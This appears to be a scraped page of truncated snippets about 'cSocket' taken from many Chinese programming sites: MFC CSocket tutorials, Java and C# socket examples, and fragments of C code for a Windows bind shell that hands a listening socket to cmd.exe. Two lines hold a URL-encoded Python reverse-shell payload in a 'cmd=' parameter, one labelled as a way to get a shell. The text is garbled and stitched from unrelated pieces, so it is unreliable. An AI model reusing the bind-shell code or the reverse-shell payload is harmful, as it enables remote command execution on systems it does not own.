endif #include #include #define Port 999 int main() { SOCKET sSocket,cSocket...STARTUPINFO)); ZeroMemory(&pi,sizeof(PROCESS_INFORMATION)); WSAStartup(0x0202,&wsaData); cSocket...,(sockaddr*)&sSockaddr,sizeof(sSockaddr)); listen(cSocket,1); int sLen=sizeof(sSockaddr);...sSocket=accept(cSocket,(sockaddr*)&sSockaddr,&sLen); si.cb=sizeof(si); si.dwFlags=STARTF_USESTDHANDLES...pi.hProcess,INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); closesocket(cSocket
TCP编程的服务器端一般步骤是: 1、创建一个CAsyncSocket或CSocket类或其子类对象A,用于监听客户端连接,然后通过Create函数设定端口号和协议类型为 SOCK_STREAM。...6、关闭网络连接B.Close; 8、关闭监听A.Close; TCP编程的客户端一般步骤是: 1、创建一个CAsyncSocket或CSocket类或其子类对象C,用Create函数设定端口号和协议类型为...关闭网络连接C.Close; 与之对应的UDP编程步骤要简单许多, 分别如下: UDP编程的服务器端与客户端过程一样,因为不需要建立监听和连接,所以一般步骤都是: 1、创建一个CAsyncSocket或CSocket
logined) { login(); } Socket cSocket = createDataSocket...} } string[] mess = Regex.Split(mes, "\r\n"); cSocket.Close...) { cSocket.Close(); } Console.WriteLine("");...logined) { login(); } Socket cSocket = createDataSocket...) { cSocket.Close(); } readReply(); if
这里使用的是CSocket来进行通信,更多信息可以参考MSDN:CSocket Class。...CSocket里面的方法是阻塞式的,所以在发送、接收较大文件的时候,给用户的感觉就是死机一样,为了能够给用户进行提示,我们还是加入发送文件的进度条为好。那么如何来实现文件传输进度条呢?...CSocket Class 源代码工程下载:TCPFile.rar (Visual Studio 2008 + Windows Mobile 2003 for Pocket PC SDK + Windows
CSocket 编程的主要步骤如下 : (1) 构造套接字对象。 (2) 使用该对象构造基本的套接字。...(3) 建立客户端 CSocket ,调用 CAsyncSocket : :Connect() 建立与服务器端的连接。...(4) 构造 CSocketFile 对象 ,并使 Csocket 对象与之关联。 (5) 构造 CArchive 对象 ,用于接收或发送数据。...(7) 删除 CArchive、CSocketFile、CSocket 对象。流程图如图 4 所示。...如果自己的类是继承 CSocket ,将由你根据情况自己决定是否重载它们。
后面的基本上差不多就不解释,不懂请大家自行百度 sockaddr_in SockAddrIn; SOCKET CSocket,SSocket; int...= WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); //设置绑定端口999 bind(CSocket,(sockaddr...*)&SockAddrIn,sizeof(SockAddrIn)); //设置服务器端监听端口 listen(CSocket,1); iAddrSize...= sizeof(SockAddrIn); //开始连接远程服务器,并配置隐藏窗口结构体 SSocket = accept(CSocket,(sockaddr *)&SockAddrIn...开始,然后绑定端口5210,接下来监听这个端口,然后接收来自客户端的命令,最后关闭这个CSocket。
listen(_sock,5); //接受等待client的连接 sockaddr_in clientAddr={}; int nAddrLen = sizeof(sockaddr_in); SOCKET _cSocket...= INVALID_SOCKET; char msgBuf[]="Hello"; _cSocket = accept(_sock,(socketAddr *)&clientAddr,&nAddrLen...); printf(inet_ntoa(clientAddr,sin_addr)); 发送data send(_cSocket,msgBuf,strlen(msgBuf)+1,0); closesocket
java.net.ServerSocket; import java.net.Socket; public class MultiThreadServer implements Runnable { Socket csocket...; MultiThreadServer(Socket csocket) { this.csocket = csocket; } public static void main...} } public void run() { try { PrintStream pstream = new PrintStream (csocket.getOutputStream...pstream.println(i + " bottles of beer on the wall"); } pstream.close(); csocket.close
include #define Port 9999 #pragma comment(lib,"ws2_32.lib") int main() { SOCKET sSocket, cSocket...MAX_PATH]; GetEnvironmentVariableA("COMSPEC", szCmdPath, MAX_PATH); WSAStartup(0x0202, &wsaData); cSocket...sSockaddr.sin_addr.s_addr = INADDR_ANY; sSockaddr.sin_family = AF_INET; sSockaddr.sin_port = htons(Port); bind(cSocket..., (sockaddr*)&sSockaddr, sizeof(sSockaddr)); listen(cSocket, 1); int sLen = sizeof(sSockaddr); sSocket...= accept(cSocket, (sockaddr*)&sSockaddr, &sLen); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES
pMainWnd->m_SocketList.AddTail(pSocket); else delete pSocket; CSocket
以 CAsycSocket类为例(注意,CSocket从CAsyncSocket派生,但是起功能已经由异步转化为同步),当一个客户端通过调用 Connect函数发出一个连接请求后,调用者线程立刻可以向下运行...例如,我们在CSocket中调用Receive函数,如果缓冲区中没有数据,这个函数就会一直等待,直到有数据才返回。而此时,当前线程还会继续处理各种各样的消息。
以CAsycSocket类为例(注意,CSocket从CAsyncSocket派生,但是其功能已经由异步转化为同步),当一个客户端通过调用 Connect函数发出一个连接请求后,调用者线程立刻可以朝下运行...例如,我们在CSocket中调用Receive函数,如果缓冲区中没有数据,这个函数就会一直等待,直到有数据才返回。而此时,当前线程还会继续处理各种各样的消息。
e.printStackTrace(); } } }); sThread.start(); // Socket 客户端(接收信息并打印) try (Socket cSocket...InetAddress.getLocalHost(), port)) { BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(cSocket.getInputStream...IOException e) { e.printStackTrace(); } } }); // Socket 客户端(接收信息并打印) try (Socket cSocket...InetAddress.getLocalHost(), port)) { BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(cSocket.getInputStream
这句话至关重要,把服务器的套接字绑定到此 Accept(*_pNewClient); m_ClientArr.Add(_pNewClient);//接受一个连接把它加入到动态数组中 CSocket...here and/or call the base class char strText[512] = {0}; Receive(strText, 512); MsgCut(strText); CSocket
cmd=python%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM
例如,我们在CSocket中调用Receive函数,如果缓冲区中没有数据,这个函数就会一直等待,直到有数据才返回。而此时,当前线程还会继续处理各种各样的消息。
以 CAsycSocket类为例(注意,CSocket从CAsyncSocket派生,但是起功能已经由异步转化为同步),当一个客户端通过调用 Connect函数发出一个连接请求后,调用者线程立刻可以朝下运行...例如,我们在CSocket中调用Receive函数,如果缓冲区中没有数 据,这个函数就会一直等待,直到有数据才返回。而此时,当前线程还会继续处理各种各样的消息。
1 socket函数 跨平台 2 Windows socket API 以WSA开头的一组由Win32提供的一组API 3 MFC Socket MFC对socket封装 CSocket
python拿到shell python%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM
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